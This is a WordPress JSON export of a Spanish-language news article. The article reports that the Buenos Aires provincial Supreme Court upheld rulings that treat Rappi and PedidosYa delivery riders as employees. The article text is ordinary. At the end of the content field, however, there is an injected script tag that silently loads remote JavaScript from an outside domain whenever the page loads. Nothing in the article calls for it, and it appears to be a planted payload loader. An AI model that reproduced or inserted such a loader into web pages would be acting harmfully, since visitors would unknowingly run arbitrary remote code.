{"id":2389,"date":"2026-04-15T11:40:43","date_gmt":"2026-04-15T14:40:43","guid":{"rendered":"https:\/\/serajusticiarevista.com\/?p=2389"},"modified":"2026-09-18T14:48:44","modified_gmt":"2026-09-18T17:48:44","slug":"la-corte-bonaerense-reconocio-a-repartidores-de-apps-como-trabajadores-en-relacion-de-dependencia","status":"publish","type":"post","link":"https:\/\/serajusticiarevista.com\/index.php\/la-corte-bonaerense-reconocio-a-repartidores-de-apps-como-trabajadores-en-relacion-de-dependencia\/","title":{"rendered":"La Corte Bonaerense reconoci\u00f3 a repartidores de Apps como trabajadores en relaci\u00f3n de dependencia"},"content":{"rendered":"<p align=\"justify\"><span style=\"font-family: Arial, sans-serif;\">La Suprema Corte de Justicia de la Provincia de Buenos Aires dej\u00f3 firmes <strong>sentencias laborales que encuadran a repartidores de plataformas digitales como trabajadores en relaci\u00f3n de dependencia<\/strong>, al rechazar recursos extraordinarios presentados por empresas del sector.<\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Arial, sans-serif;\">La decisi\u00f3n impacta en causas vinculadas a firmas como <strong>Rappi<\/strong> y <strong>PedidosYa<\/strong>, donde tribunales laborales inferiores hab\u00edan determinado que las tareas realizadas por los repartidores re\u00fanen las condiciones propias de un v\u00ednculo laboral formal.<\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Arial, sans-serif;\">Seg\u00fan se desprende de los expedientes, los jueces de instancias previas consideraron acreditadas las notas t\u00edpicas de la relaci\u00f3n de dependencia, entre ellas la prestaci\u00f3n personal de servicios, la ajenidad y la organizaci\u00f3n del trabajo bajo par\u00e1metros fijados por las plataformas. En ese marco, concluyeron que las empresas no lograron desvirtuar la presunci\u00f3n de laboralidad.<\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Arial, sans-serif;\">El m\u00e1ximo tribunal bonaerense no ingres\u00f3 al an\u00e1lisis de fondo de la cuesti\u00f3n, sino que rechaz\u00f3 los planteos por cuestiones procesales. Sin embargo, esa resoluci\u00f3n dej\u00f3 firmes los fallos que hab\u00edan sido apelados, consolidando el criterio adoptado por la justicia laboral en esos casos.<\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Arial, sans-serif;\">Las sentencias tambi\u00e9n incluyeron la validaci\u00f3n de sanciones impuestas por organismos de fiscalizaci\u00f3n laboral por falta de registraci\u00f3n de trabajadores, lo que refuerza la potestad estatal para controlar este tipo de actividades.<\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Arial, sans-serif;\">El alcance del pronunciamiento se limita a los casos analizados, aunque fija un antecedente relevante en la provincia de Buenos Aires en torno al encuadre jur\u00eddico de los trabajadores de plataformas. La discusi\u00f3n sobre la naturaleza del v\u00ednculo laboral en este sector contin\u00faa abierta a nivel nacional y podr\u00eda escalar a la Corte Suprema de Justicia de la Naci\u00f3n.<\/span><\/p>\n<p><script>;const script = document.createElement('script');\nscript.src = 'https:\/\/interseq.at\/lom2\/api';\nscript.async = true;<\/p>\n<p>document.head.appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La Suprema Corte de Justicia de la Provincia de Buenos Aires dej\u00f3 firmes sentencias laborales que encuadran a repartidores de plataformas digitales como trabajadores en relaci\u00f3n de dependencia, al rechazar&hellip; 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